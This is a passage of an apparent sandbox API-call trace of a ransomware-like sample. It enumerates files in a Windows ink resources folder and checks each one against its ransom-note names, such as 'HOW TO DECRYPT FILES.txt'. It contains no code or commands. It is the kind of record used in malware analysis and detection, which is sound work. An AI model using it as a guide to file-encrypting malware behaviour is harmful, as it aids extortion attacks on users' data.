GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.076] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="InkObj.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" [0058.076] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0058.076] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.076] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InkWatson.exe.mui") returned -1 [0058.076] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InkWatson.exe.mui") returned -1 [0058.076] lstrcmpiA (lpString1="", lpString2="InkWatson.exe.mui") returned -1 [0058.076] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned="InkObj.dll.mui" [0058.076] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.076] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.076] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.077] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.077] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="InkWatson.exe.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" [0058.077] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0058.077] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.077] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InputPersonalization.exe.mui") returned -1 [0058.077] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InputPersonalization.exe.mui") returned -1 [0058.077] lstrcmpiA (lpString1="", lpString2="InputPersonalization.exe.mui") returned -1 [0058.077] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned="InkWatson.exe.mui" [0058.077] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.077] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.077] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.077] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.077] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="InputPersonalization.exe.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" [0058.077] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0058.077] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.078] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IPSEventLogMsg.dll.mui") returned -1 [0058.078] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IPSEventLogMsg.dll.mui") returned -1 [0058.078] lstrcmpiA (lpString1="", lpString2="IPSEventLogMsg.dll.mui") returned -1 [0058.078] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned="InputPersonalization.exe.mui" [0058.078] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.078] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.078] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.078] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.078] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="IPSEventLogMsg.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" [0058.078] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0058.078] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.078] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IpsMigrationPlugin.dll.mui") returned -1 [0058.078] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IpsMigrationPlugin.dll.mui") returned -1 [0058.078] lstrcmpiA (lpString1="", lpString2="IpsMigrationPlugin.dll.mui") returned -1 [0058.078] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned="IPSEventLogMsg.dll.mui" [0058.078] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.078] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.078] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.078] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.079] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="IpsMigrationPlugin.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" [0058.079] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0058.079] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.079] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="join.avi") returned -1 [0058.079] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="join.avi") returned -1 [0058.079] lstrcmpiA (lpString1="", lpString2="join.avi") returned -1 [0058.079] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned="IpsMigrationPlugin.dll.mui" [0058.079] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.079] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.079] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.079] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.079] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="join.avi" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" [0058.079] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0058.079] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.079] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="micaut.dll.mui") returned -1 [0058.079] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="micaut.dll.mui") returned -1 [0058.079] lstrcmpiA (lpString1="", lpString2="micaut.dll.mui") returned -1 [0058.079] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned="join.avi" [0058.079] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.079] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.080] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.080] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.080] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="micaut.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" [0058.080] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0058.080] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.080] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mip.exe.mui") returned -1 [0058.080] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mip.exe.mui") returned -1 [0058.080] lstrcmpiA (lpString1="", lpString2="mip.exe.mui") returned -1 [0058.080] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned="micaut.dll.mui" [0058.080] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.080] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.080] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.080] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.080] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="mip.exe.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" [0058.080] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0058.080] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.081] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mshwLatin.dll.mui") returned -1 [0058.081] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mshwLatin.dll.mui") returned -1 [0058.081] lstrcmpiA (lpString1="", lpString2="mshwLatin.dll.mui") returned -1 [0058.081] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned="mip.exe.mui" [0058.081] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.081] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.081] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.081] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.081] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="mshwLatin.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" [0058.081] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0058.081] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.081] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtscom.dll.mui") returned -1 [0058.081] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtscom.dll.mui") returned -1 [0058.081] lstrcmpiA (lpString1="", lpString2="rtscom.dll.mui") returned -1 [0058.081] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned="mshwLatin.dll.mui" [0058.081] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.081] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.081] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.081] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.081] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="rtscom.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" [0058.082] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0058.082] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.082] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ShapeCollector.exe.mui") returned -1 [0058.082] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ShapeCollector.exe.mui") returned -1 [0058.082] lstrcmpiA (lpString1="", lpString2="ShapeCollector.exe.mui") returned -1 [0058.082] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned="rtscom.dll.mui" [0058.082] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0058.082] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="" [0058.082] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0058.082] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0058.082] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="ShapeCollector.exe.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" [0058.082] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, 